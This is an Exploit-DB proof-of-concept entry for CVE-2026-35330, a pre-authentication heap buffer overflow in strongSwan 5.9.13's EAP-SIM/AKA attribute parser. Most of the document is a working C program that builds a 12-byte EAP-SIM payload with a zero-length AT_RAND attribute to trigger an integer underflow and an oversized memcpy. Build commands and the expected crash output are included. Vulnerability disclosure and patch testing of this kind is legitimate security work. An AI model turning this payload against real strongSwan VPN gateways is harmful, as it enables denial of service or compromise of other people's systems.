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strongSwan 5.9.13 - libsimaka EAP-SIM/AKA heap buffer overflow

🗓️ 29 May 2026 00:00:00Reported by Lukas Johannes MoellerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 28 Views

StrongSwan 5.9.13 libsimaka EAP-SIM/AKA heap overflow in parse_attributes pre-auth (CVE-2026-35330).

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Rows per page
 * Exploit Title: strongSwan 5.9.13 -  heap buffer overflow
 * Date: 2026-05-13
 * Exploit Author: Lukas Johannes Moeller
 * Vendor Homepage: https://www.strongswan.org/
 * Software Link: https://download.strongswan.org/strongswan-5.9.13.tar.bz2
 * Version: strongSwan <= 5.9.13 (eap-sim or eap-aka plugin built)
 * Tested on: Debian 12 bookworm, libsimaka.so.0.0.0 + libstrongswan.so.0.0.0
 *            from upstream strongswan-5.9.13 tarball (no distro patches).
 * CVE: CVE-2026-35330
 * References:
 *   https://github.com/strongswan/strongswan/commit/aa5aaebc33
 *   https://nvd.nist.gov/vuln/detail/CVE-2026-35330
 *   https://github.com/JohannesLks/CVE-2026-35330
 *
 * Description:
 *   parse_attributes() in src/libsimaka/simaka_message.c computes
 *   attribute data length as `hdr->length * 4 - 4` without guarding
 *   against `hdr->length == 0`. For length == 0 the validation
 *   `hdr->length * 4 > in.len` evaluates `0 > in.len` (false on any
 *   non-empty input), so the check passes. The chunk length then
 *   underflows to (size_t)0xFFFFFFFFFFFFFFFC and is passed to
 *   add_attribute(), which performs `malloc(sizeof(attr_t) + data.len)`
 *   -> `malloc(16 + 0xFFFFFFFFFFFFFFFC)` -> a 12-byte allocation,
 *   followed by an oversized memcpy. Under ASan this is a clean
 *   heap-buffer-overflow WRITE; under glibc it is an immediate
 *   SIGSEGV inside production code as soon as memcpy walks off the
 *   end of the 12-byte chunk into unmapped memory.
 *
 *   The bug is pre-auth: an EAP-SIM/AKA payload reaches
 *   parse_attributes() inside IKE_AUTH before any peer authentication
 *   has completed.
 *
 * Build:
 *   gcc -fsanitize=address -g -O0 \
 *       -I/path/to/strongswan-5.9.13/src/libsimaka \
 *       -I/path/to/strongswan-5.9.13/src/libstrongswan \
 *       -include /path/to/strongswan-5.9.13/config.h \
 *       strongswan-5.9.13-libsimaka-eap-sim-aka-overflow.c \
 *       -L/usr/lib/ipsec -Wl,-rpath,/usr/lib/ipsec \
 *       -lsimaka -lstrongswan -o sim-aka-oob
 *
 *   (The /usr/lib/ipsec rpath points the loader at the installed
 *   strongSwan libraries. Headers come from the source tree because
 *   simaka_message.h is not installed system-wide.)
 *
 * Run:
 *   ./sim-aka-oob
 *
 * Expected output on a vulnerable strongSwan (<= 5.9.13):
 *   AddressSanitizer: heap-buffer-overflow ... WRITE of size 8
 *   #0 ... in __asan_memcpy
 *   #1 ... in parse_attributes ... simaka_message.c
 *   #2 ... in parse ... simaka_message.c
 *   #3 ... in main ... this file
 *
 * Without ASan you should see a SIGSEGV; on a patched strongSwan
 * (master >= aa5aaebc33) parse() returns FALSE and the program
 * prints "parse() returned FALSE (patched)".
 *
 * Disclaimer:
 *   For authorized testing and defensive research only. Do not use
 *   against systems you do not own or have explicit permission to
 *   test.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <arpa/inet.h>

#include <library.h>
#include <utils/chunk.h>
#include <simaka_message.h>

/* EAP codes (RFC 3748) */
#define EAP_REQUEST  1
#define EAP_RESPONSE 2

/* EAP types */
#define EAP_TYPE_SIM 18

/* EAP-SIM subtypes (RFC 4186) */
#define SIM_CHALLENGE 11

/* EAP-SIM/AKA attribute types (RFC 4186 / RFC 4187) */
#define AT_RAND 1


int main(void)
{
    chunk_t data;
    simaka_message_t *msg;
    uint8_t payload[12];

    if (!library_init(NULL, "exploit-35330")) {
        fprintf(stderr, "[!] library_init() failed\n");
        library_deinit();
        return 1;
    }

    /*
     * EAP-SIM header (8 bytes):
     *   byte 0: code      = 2  (EAP_RESPONSE)
     *   byte 1: id        = 0x42
     *   bytes 2-3: length = htons(12)
     *   byte 4: type      = 18 (EAP-SIM)
     *   byte 5: subtype   = 11 (SIM_CHALLENGE)
     *   bytes 6-7: reserved
     *
     * AT_RAND attribute header (4 bytes):
     *   byte 8: type      = 1 (AT_RAND)
     *   byte 9: length    = 0   <-- triggers underflow:
     *                                hdr->length * 4 - 4 = -4 -> SIZE_MAX-3
     *   bytes 10-11: reserved
     */
    payload[0] = EAP_RESPONSE;
    payload[1] = 0x42;
    payload[2] = 0x00;
    payload[3] = 12;
    payload[4] = EAP_TYPE_SIM;
    payload[5] = SIM_CHALLENGE;
    payload[6] = 0x00;
    payload[7] = 0x00;
    payload[8]  = AT_RAND;
    payload[9]  = 0;         /* the bug */
    payload[10] = 0x00;
    payload[11] = 0x00;

    data = chunk_create(payload, sizeof(payload));

    printf("[*] payload (%zu bytes): ", data.len);
    for (size_t i = 0; i < data.len; i++) {
        printf("%02x ", payload[i]);
    }
    printf("\n[*] EAP-SIM header:  code=RESPONSE id=0x42 len=12 type=SIM subtype=CHALLENGE\n");
    printf("[*] AT_RAND header:  type=1 length=0  <-- triggers underflow\n\n");

    msg = simaka_message_create_from_payload(data, NULL);
    if (!msg) {
        fprintf(stderr, "[!] simaka_message_create_from_payload() returned NULL"
                        " -- header rejected\n");
        library_deinit();
        return 2;
    }
    printf("[*] simaka_message_create_from_payload() -> %p\n", (void*)msg);
    printf("[*] calling msg->parse(msg) --"
           " expecting heap-buffer-overflow inside parse_attributes()...\n");
    fflush(stdout);

    if (msg->parse(msg)) {
        printf("[?] parse() returned TRUE -- unexpected\n");
    } else {
        printf("[+] parse() returned FALSE (patched) -- attribute rejected\n");
    }

    msg->destroy(msg);
    library_deinit();
    return 0;
}

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29 May 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
28